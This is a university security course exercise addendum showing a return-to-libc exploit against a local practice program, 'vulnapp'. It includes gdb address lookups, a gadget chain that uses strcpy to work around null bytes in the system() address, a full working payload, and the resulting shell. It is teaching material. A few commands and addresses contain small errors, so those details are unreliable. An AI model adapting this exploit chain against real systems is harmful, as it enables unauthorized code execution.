System Security, Spring 2010 - Exercise 5 Addendum

Using Ubuntu 10.04 - Execute a shell

As with the previous attacks from Exercise 5, ASLR has to be disabled for this exploit to work. `sudo echo 0 > /proc/sys/kerne/randomize_va_space`

The exploit that we will create will again be a return-to-libc exploit which circumvents the non-executable stack protection, in fact there are only a few changes that have to be applied to the exploit from Attack 1 to make it work on a recent Ubuntu version.

We will start where it's getting interesting and therefore begin with looking at the address of the system() function. We notice that the address contains the null character, actually there are even two of them, that we have to avoid in our exploit.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x001671000 <system>
```

And here is how we will still be able to use that function:

Looking at the last few lines of the disassembled cpybuf function we find a set of pop and ret instructions which we can use to chain the execution of functions.

```
(gdb) disassemble cpybuf
Dump of assembler code for function cpybuf:
...
   0x080484de <+46>:        pop    %ebx
   0x080484df <+47>:        pop    %ebp
   0x080484e0 <+48>:        ret
End of assembler dump.
```

Using the strcpy@plt function we can modify our exploit during runtime and therefore place the null character into a modified system() address, that does not contain the null character. Since the modified system() address now does not have to contain the null character we can use it in our exploit.

To do so the stack has to be modified such that it looks like the one in figure 1, where multiple function calls have been chained together such that the strcpy@plt function gets executed twice before the system() function, which will then have the proper address.

The addresses of the strcpy@plt and exit@plt functions can again be found with gdb.

```
(gdb) p 'strcpy@plt'
$2 = {<text variable, no debug info>} 0x080483d4 <strcpy@plt>
(gdb) p 'exit@plt'
$3 = {<text variable, no debug info>} 0x08048404 <exit@plt>
```

Figure 1: stack layout

The address of a null character is easy to find, since we can use the null character that we enter when we are prompted for an input. Finding the right address of the modified

bytes in the system() function's address can be done using gdb. Instead of running the vulnapp directly in gdb it's recommended to use `(gdb) attach #process_id` such that the exploit will also work when gdb is not used.

Putting everything together we get the following exploit.

```
./vulnapp `python -c 'print "A"*20+""\xd4\x83\x04\x08\xde\x84\x04\x08 ↙
    \x2c\xf4\xff\xbf\x21\x98\x04\x08\xd4\x83\x04\x08\xde\x84\x04\x08 ↙
    \x2f\xf4\xff\xbf\x21\x98\x04\x08\x90\x71\x16\x90\xdf\x84\x04\x08 ↙
    \x18\x98\x04\x08\x04\x84\x04\x08"+"B"*4'`

Type some text:
/bin/dash

You typed: [/bin/dash]
You provided:[AAAAAAAAAAAAAAAAAAAA??????...????BBBB]
$ ps
  PID TTY          TIME CMD
 1680 pts/0    00:00:01 bash
 4990 pts/0    00:00:00 vulnapp
 4991 pts/0    00:00:00 sh
 4992 pts/0    00:00:00 dash
 4993 pts/0    00:00:00 ps
$ exit
cyrill@sokrates:~/Desktop$ echo $?
0
```

References

[1] Smashing the Stack for Fun and Profit & Return-Into-Libc Exploits. URL `http://www.ics.uci.edu/~mbebenit/ics142b/data/PStack.pdf`.